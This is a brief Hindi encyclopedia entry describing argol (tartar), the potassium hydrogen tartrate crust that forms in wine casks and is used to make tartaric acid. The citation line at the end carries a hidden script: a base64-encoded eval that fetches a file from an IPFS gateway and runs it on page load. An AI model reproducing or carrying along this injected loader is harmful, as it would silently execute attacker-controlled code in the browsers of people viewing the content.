अरगोल
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अरगोल अंगूर से शराब किण्वन द्वारा बनाते समय पीपों के चारों ओर जो कठोर तह जम आती है उसे अरगोल या टार्टार कहते हैं। यह मुख्यत: पोटैसियम हाइड्रोजन टार्टरेट होता है। अरगोल, टार्टरिक अम्ल बनाने के काम आता है।[1]
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टीका टिप्पणी और संदर्भ
- ↑ हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 216 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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